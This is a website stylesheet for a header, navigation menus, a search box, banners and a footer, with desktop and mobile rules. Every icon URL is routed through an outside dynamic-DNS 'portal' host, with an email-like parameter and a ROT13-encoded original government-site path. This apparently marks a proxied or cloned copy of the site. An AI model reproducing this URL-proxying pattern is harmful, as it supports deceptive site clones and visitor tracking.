body {
	font-family: 'Spoqa Han Sans Neo', 'sans-serif';
	min-width: 320px;
	overflow-x: hidden;
	letter-spacing: -0.8px;
	word-break: keep-all;
}

h1, h2, h3, h4, h5, h6 {
    margin: 0;
    font-weight: bold;
}

p, dl, ol, ul {
    margin: 0;
    padding: 0;
}

ol, ul {
    list-style: none;
}

.clearfix:after {
    clear: both;
    display: table;
    content: '';
}

i[class*="icon-"] span {
    position: absolute;
    width: 1px;
    height: 1px;
    margin: -1px;
    padding: 0;
    overflow: hidden;
    clip: rect(0, 0, 0, 0);
    border: 0;
}

.skip-nvi {background: #fff; }
.skip-nvi:active, .skip-nvi:focus { position:relative; display:block; height:auto; width:100%; z-index:100; text-align:center;  }
i span{  position: absolute; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0,0,0,0); border: 0; }
table caption { position: absolute; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0;}

.container {
    position: relative;
}

@media (min-width: 992px) {
    .pc-true { display:block !important;  }
    .m-true { display:none !important;  }

    .header {
        z-index: 10;
        position: relative;
        word-break: keep-all;
        height: 95px;
    }
    .header h1 {
        position: absolute;
        top: 45px;
        left: 0;
    }
	.header h1 a {
		font-weight: bold;
		color: #535355;
		font-size: 18px;
		letter-spacing: -0.9px;
	}
	.header h1 a img { 
		width: 260px;
		padding-right: 7px;
	}
	.header h1 a:hover { text-decoration: none; }

    .top_bar {
        z-index: 101;
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        height: 40px;
        border-bottom: 1px solid #EEEFF3;
    }
    .top_bar a {
        color: #7E7E7E;
		font-weight: bold;
		font-size: 12px;
    }
    .top_bar .container>dl {
        position: absolute;
        top: 0;
        left: 0;
        font-size: 0;
        height: 40px;
    }
    .top_bar .container>dl dd, .top_util>li {
        display: inline-block;
        font-size: 12px;
        vertical-align: top;
        line-height: 40px;
    }
    .top_bar .container>dl dd+dd:before {
        content: "";
        display: inline-block;
		width: 5px;
		height: 5px;
        margin: 0 14px;
        color: #7E7E7E;
		visibility: middle;
		background-color: #D8E9F7;
		border-radius: 50%;
    }

    .top_bar .container>dl dd a {
        display: inline-block;
        height: 40px;
        text-align: center;
        color: #7E7E7E;
    }
    .top_util {
        position: absolute;
        top: 0;
        right: 0;
    }
    .top_util>li+li:before {
        content: "";
        display: inline-block;
		width: 5px;
		height: 5px;
        margin: 0 14px;
        color: #7E7E7E;
		visibility: middle;
		background-color: #D8E9F7;
		border-radius: 50%;
    }
	.top_util>li img  {
       height: 23px;
    }
   
    .header .all-menu-btn { 
		position: absolute;
		right: 0;
		top: 61px;
		z-index: 100;
	}
	.header .all-menu-btn .menu-open {
		display: inline-block;
		width: 17px;
		height: 17px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_zrah.fit);
		background-size: 17px 17px;
		background-repeat: no-repeat;
		background-position: center;
	}
	.header .allmenu-close {	
		display: none;
		position: absolute;
		right: 50%;
		top: 65px;
		margin-right: -600px;
		z-index: 101;
	}
    .header .allmenu-close a {
		display: inline-block;
		width: 20px;
		height: 20px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_pybfr.fit);
		background-size: 20px 20px;
		background-repeat: no-repeat;
		background-position: center;
	}

    .top-search-wrap {
        position: absolute;
        top: 56px;
		right: 0;
        width: 218px;
        height: 38px;
		padding: 5px 20px;
		border-radius: 20px;
		border: 2px solid #47CCD4;
        background-color: #fff;
        z-index: 11;
    }
    .top-search-wrap form {
        float: left;
        width: 100%;
    }
    .top-search-wrap form input[type="text"] {
        float: left;
		width: calc( 100% - 20px );
		height: 25px;
		color: #7E7E7E;
		font-size: 14px;
		border: none;
    }
    .top-search-wrap form button {
        float: left;
		width: 20px;
		height: 20px;
		margin-top: 2px;
		border: none;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_frnepu.fit);
		background-size: 17px 17px;
		background-repeat: no-repeat;
		background-position: center;
		background-color: #fff;
    }

    .gnb {
        position: absolute;
        top: 40px; 
		left: 40%;
		margin-left: -50px;
        z-index: 100;
    }
	.gnb .allmenu-logo { display: none; }
    .gnb .menu {
		position: relative;
        display: inline-block;
    }
    .gnb .menu h3 i {
        display: none;
    }
    .gnb .menu h3 a {
        display: inline-block;
		padding: 18px 27px 20px;
        font-size: 16px;
        color: #222;
		font-weight: normal;
        letter-spacing: -0.8px;
    }
	.gnb .menu:hover h3 a {
		color: #fff;
		text-decoration: none;
		background-color: #1FA1A9;
	} 
    .gnb .menu .depth-menu {
		display: none;
        position: absolute;
        left: 0px;
        top: 54px;
		width: 100%;
		padding: 15px 10px 4px 10px;
        background-color: #1FA1A9;
        z-index: 10;
    }
    .gnb .menu ul li {
        padding-bottom: 12px;
    }
    .gnb .menu ul li a {
        color: #fff;
        font-size: 14px;
        font-weight: normal;
    }
    .gnb .menu ul li ul {
        display: none !important;
    }
    .gnb .menu ul li i {display: none;}


    .all-menu {
		position: absolute;
		top: 0;
		right: 0;
		left: 0;
		padding: 54px 0;
		border-bottom: 1px solid #E8E8E8;
		background-color: #fff;
		z-index: 101;
	}
	.all-menu .allmenu-logo {
		padding-bottom: 70px;
	}
	.all-menu .allmenu-logo a {
		font-weight: bold;
		color: #535355;
		font-size: 18px;
		letter-spacing: -0.9px;
	}
	.all-menu .allmenu-logo a img { 
		width: 260px;
		padding-right: 7px;
	}
    .all-menu .menu_wrap { 
		width: 1200px;
		margin: 0 auto;
	}
    .all-menu .menu {
		float: left;
		width: 100%;
		padding: 30px 0;
		border-bottom: 1px solid #E8E8E8;
	}
	.all-menu .menu h3 {
		float: left;
		width: 20%;
	}
	.all-menu .menu h3 a {
		font-size: 24px;
		font-weight: bold;
		color: #1FA1A9;	
		letter-spacing: -1.2px;
	}
	.all-menu .menu .depth-menu {
		float: left;
		width: 80%;
		display: block !important;
	}
	.all-menu .menu .depth-menu ul li {
		display: inline-block;
		margin-right: 40px;
	}
	.all-menu .menu .depth-menu ul li a { 
		font-size: 18px;
		color: #333;
	}
	.all-menu .menu .depth-menu ul li a:hover { font-weight: bold; }
	.all-menu .menu .depth-menu ul li ul { display: none; }

	.section5 {
		width: 100%;
		padding: 8px 0;
		border-top: 1px solid #EEEFF3;
	}
	.section5 .bottom-banner {
		margin: 0 15px;
		overflow: hidden;
	}
	.section5 .bottom-banner .swiper-button-prev {	
		display: inline-block;
		width: 11px;
		height: 15px;
		margin-top: -8px;
		margin-left: -10px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_neebj_yrsg.fit);
		background-repeat: no-repeat;
		background-position: center;
		background-size: 11px 15px;
		opacity: 0.7;
	}
	.section5 .bottom-banner .swiper-button-next {	
		display: inline-block;
		width: 11px;
		height: 15px;
		margin-top: -8px;
		margin-right: -10px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_neebj_evtug.fit);
		background-repeat: no-repeat;
		background-position: center;
		background-size: 11px 15px;
		opacity: 0.7;
	}
	.section5 .bottom-banner .swiper-button-disabled {
		opacity: 0.3;
	}

	.footer {
		padding: 40px 0;
		border-top: 1px solid #EEEFF3;
	}
	.footer .footer-logo { display: inline-block; }	
	.footer .footer-logo a {
		font-weight: bold;
		color: #535355;
		font-size: 18px;
		letter-spacing: -0.9px;
	}	
	.footer .footer-logo a img { 
		width: 260px;
		padding-right: 7px;
	}
	.footer .footer-logo a:hover { text-decoration: none; }
	.footer .footer-link {
		display: inline-block;
		margin-left: 50px;
	}	
	.footer .footer-link a {
		font-size: 14px;
		color: #1FA1A9;
		font-weight: bold;
		text-decoration: underline;
	}
	.footer address {
		margin-top: 20px;
		color: #888888;
		font-size: 14px;
	}


    



    #backtotop {
        position: fixed;
        bottom: 0;
        right: 0;
        z-index: 9999;
        width: 60px;
        height: 60px;
        text-align: center;
        background: rgba(0, 0, 0, 0.3);
        font-size: 40px;
        color: #fff;
        cursor: pointer;
        text-decoration: none;
        /*transition: opacity 0.2s ease-out;*/
        opacity: 0;
    }

    #backtotop i {
        /* font-size: 57px; */
    }

    #backtotop.show {
        opacity: 1;
    }

    #backtotop:hover.show {
        background: rgba(0, 0, 0, 0.6);
    }
}



@media (min-width: 992px) and (max-width: 1199px) {
	.top-search-wrap { 
		width: 170px;
		padding: 5px 10px;
	}
	.header .allmenu-close { margin-right: -480px; }
	.gnb { margin-left: -120px; }
	.gnb .menu h3 a { padding: 18px 19px 20px; }
	.all-menu .menu_wrap { width: 960px; }


}



@media (max-width: 991px) {
    .t-up-true {
        display: none !important;
    }
    .pc-true {
        display: none !important;
    }
    .t-true {
        display: none !important;
    }
    .m-true {
        display: block !important;
    }
    .container {
        width: 100%;
    }

    .header {
        position: relative;
        height: 70px;
        word-break: keep-all;
        width: 100%;
    }
    .header a {
        color: #000;
    }
    .header h1 {
        position: relative;
        text-align: left;
        z-index: 1;
        padding-top: 20px;
        margin-left: 15px;
        font-size: 0;
    }
	.header h1 a {
		font-weight: bold;
		color: #535355;
		font-size: 18px;
		letter-spacing: -0.9px;
	}
	.header h1 a img { 
		width: 200px;
		padding-right: 5px;
	}
	.header h1 a:hover { text-decoration: none; }

    .header .all-menu-btn { 
		position: absolute;
		top: 22px;
		right: 15px; 
		z-index: 1;
	}
	.header .all-menu-btn .menu-open {
		display: inline-block;
		width: 20px;
		height: 20px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_zrah.fit);
		background-size: 20px 20px;
		background-repeat: no-repeat;
		background-position: center;
	}
	.header .allmenu-close {
		position: absolute;
		top: 22px;
		right: 20px;
		z-index: 1;
	}
    .header .allmenu-close a {
		display: inline-block;
		width: 20px;
		height: 20px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_pybfr.fit);
		background-size: 20px 20px;
		background-repeat: no-repeat;
		background-position: center;
	}
   .header .m-search-btn { 
		position: absolute;
		top: 22px;
		right: 15px;
		z-index: 1;
	}
	.header .m-search-btn .search-open {
		display: inline-block;
		width: 20px;
		height: 20px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_frnepu.fit);
		background-size: 20px 20px;
		background-repeat: no-repeat;
		background-position: center;
	}
    .header .m-search-btn .search-close {
        display: none;
		width: 20px;
		height: 20px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_pybfr.fit);
		background-size: 20px 20px;
		background-repeat: no-repeat;
		background-position: center;
    }
    .top-search-wrap {
        display: none;
        z-index: 100;
        width: 100%;
        padding: 10px 30px;
        position: absolute;
        top: 70px;
        left: 0px;
        right: 0;
        background: #1FA1A9;
    }
	.top-search-wrap form {		
		float: left;
		width: 100%;
		height: 40px;
		border-radius: 20px;
		border: 2px solid #47CCD4;
        background-color: #fff;
	}
    .top-search-wrap form input[type="text"] {
        float: left;
        font-size: 14px;
        height: 36px;
        color: #555;
        padding: 0px 20px;
        width: 84%;
        background: none;
        border: 0 none;
    }
    .top-search-wrap form input[type="text"]::placeholder {
        color: #7E7E7E;
    }
    .top-search-wrap form button {
        float: left;
        width: 16%;
        height: 36px;
		border: none;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_frnepu.fit);
		background-size: 17px 17px;
		background-repeat: no-repeat;
		background-position: center;
		background-color: #fff;
		border-radius: 0 20px 20px 0;
    }
    .m-menu {
          display: none;
          bottom: 0;
          letter-spacing: -1px;
          margin-left:-85%;
          background: #fff;
          position:fixed;
          top:0px;
          left:0px;
          height:100%;
          overflow-y:auto;
          width: 85%;
          z-index:200;
      }
	  .m-menu .top_bar {
		position: absolute;
		top: 70px;
		left: 0;
		height: 40px;
		width: 100%;
		padding-top: 10px;
		background-color: #1FA1A9;
	  }
	  .m-menu .top_bar .top_util li {
		display: inline-block;
		margin-right: 15px;	
	  }
	  .m-menu .top_bar .top_util li a {
		color: #fff;
		font-size: 12px;
		font-weight: normal;
	  }
	  .top_util>li img  {
		height: 23px;
	  }
	  .gnb .allmenu-logo {
		position: absolute;
		top: 0;
		left: 0;
		height: 70px;
		padding: 20px 0 0 20px;
	  }
	  .gnb .allmenu-logo a {
		font-weight: bold;
		color: #535355;
		font-size: 18px;
		letter-spacing: -0.9px;
	  }
	  .gnb .allmenu-logo a img { width: 200px; }
      .gnb {
		  margin-top: 109px;
		  background-color: #1FA1A9;
      }
      .gnb .menu h3 a, .all-menu .menu h3 a {
          display: inline-block;
          padding: 15px 0px;
          font-size: 20px;
          color: #fff;
          font-weight: bold;
          margin-left: 15px;
      }
	  .gnb .menu h3.active, .all-menu .menu h3.active {
		background-color: rgba(0, 0, 0, .2);
		text-decoration: none;
	  }
	  .gnb .menu h3.active a, .all-menu .menu h3.active a {
		text-decoration: none;
	  }
      .gnb .menu h3 i, .all-menu .menu h3 i { display: none; }
      .depth-menu {
          display: none;
          overflow-y: auto;
          background-color: #fff;
          padding: 15px 15px;
      }
      .depth-menu.active { display: block; }
	  .depth-menu>ul>li {
		border-bottom: 1px solid #E8E8E8;
	  }
      .depth-menu>ul>li>a {
          position: relative;
          padding: 0;
          margin: 12px 0;
          font-size: 16px;
          color: #0D1104;
          display: inline-block;
		  width: 100%;
          line-height: 1;
      }
	  .depth-menu>ul>li>a.child-menu {		
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_zo_cyhf.fit);
		background-size: 16px 16px;
		background-repeat: no-repeat;
		background-position: right 5px center;
	  }
	.depth-menu>ul>li>a.child-menu.active {		
		color: #1FA1A9;
		font-weight: bold;
		text-decoration: none;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_zo_zva.fit);
		background-size: 16px 16px;
		background-repeat: no-repeat;
		background-position: right 5px center;
	}
	.depth-menu>ul>li>ul {
		display: none;
		border-top: 1px solid #E8E8E8;
	}
	.depth-menu>ul>li>ul>li {
		position: relative;
		padding-left: 15px;
	}
	.depth-menu>ul>li>ul>li:before {
		content:'';
		position: absolute;
		top: 15px;
		left: 0;
		display: inline-block;
		width: 4px;
		height: 4px;
		border-radius: 50%;
		background-color: #1FA1A9;
	}
	.depth-menu>ul>li>ul>li>a {
		color: #333;
		font-size: 16px;
		margin: 10px 0px;
		display: inline-block;
		line-height: 1;
	}

	.section5 {
		width: 100%;
		padding: 8px 0;
		border-top: 1px solid #EEEFF3;
	}
	.section5 .bottom-banner {
		margin: 0 15px;
		overflow: hidden;
	}
	.section5 .bottom-banner .swiper-slide a img {width: 100%;}
	.section5 .bottom-banner .swiper-button-prev {	
		display: inline-block;
		width: 11px;
		height: 15px;
		margin-top: -8px;
		margin-left: -10px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_neebj_yrsg.fit);
		background-repeat: no-repeat;
		background-position: center;
		background-size: 11px 15px;
		opacity: 0.7;
	}
	.section5 .bottom-banner .swiper-button-next {	
		display: inline-block;
		width: 11px;
		height: 15px;
		margin-top: -8px;
		margin-right: -10px;
		background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wrwh.tb.xe%2Scho%2Sfvgr%2Swrwhacb%2Spff%2S..%2Svzntrf%2Svpb%2Svpb_neebj_evtug.fit);
		background-repeat: no-repeat;
		background-position: center;
		background-size: 11px 15px;
		opacity: 0.7;
	}
	.section5 .bottom-banner .swiper-button-disabled {
		opacity: 0.3;
	}
	  
	.footer {
		padding: 40px 15px;
		border-top: 1px solid #EEEFF3;
	}
	.footer .footer-logo { margin-bottom: 20px; }	
	.footer .footer-logo a {
		font-weight: bold;
		color: #535355;
		font-size: 18px;
		letter-spacing: -0.9px;
	}	
	.footer .footer-logo a img { 
		width: 200px;
		padding-right: 7px;
	}
	.footer .footer-logo a:hover { text-decoration: none; }
	.footer .footer-link { margin-bottom: 10px; }	
	.footer .footer-link a {
		font-size: 14px;
		color: #1FA1A9;
		font-weight: bold;
		text-decoration: underline;
	}
	.footer address {
		color: #888888;
		font-size: 14px;
	}
    


    

    .back {
        display: none;
        z-index: 10;
        position: fixed;
        top: 0;
        right: 0;
        bottom: 0;
        left: 0;
        background-color: rgba(65, 65, 65, 0.6);
    }

    #backtotop {
        position: fixed;
        bottom: 0;
        right: 0;
        z-index: 9999;
        width: 50px;
        height: 50px;
        text-align: center;
        line-height: 45px;
        background: rgba(0, 0, 0, 0.3);
        font-size: 26px;
        color: #fff;
        cursor: pointer;
        text-decoration: none;
        transition: opacity 0.2s ease-out;
        opacity: 0;
    }

    #backtotop i {
        /* font-size: 1.75rem; */
    }

    #backtotop.show {
        opacity: 1;
    }

    #backtotop:hover.show {
        background: rgba(0, 0, 0, 0.6);
    }
}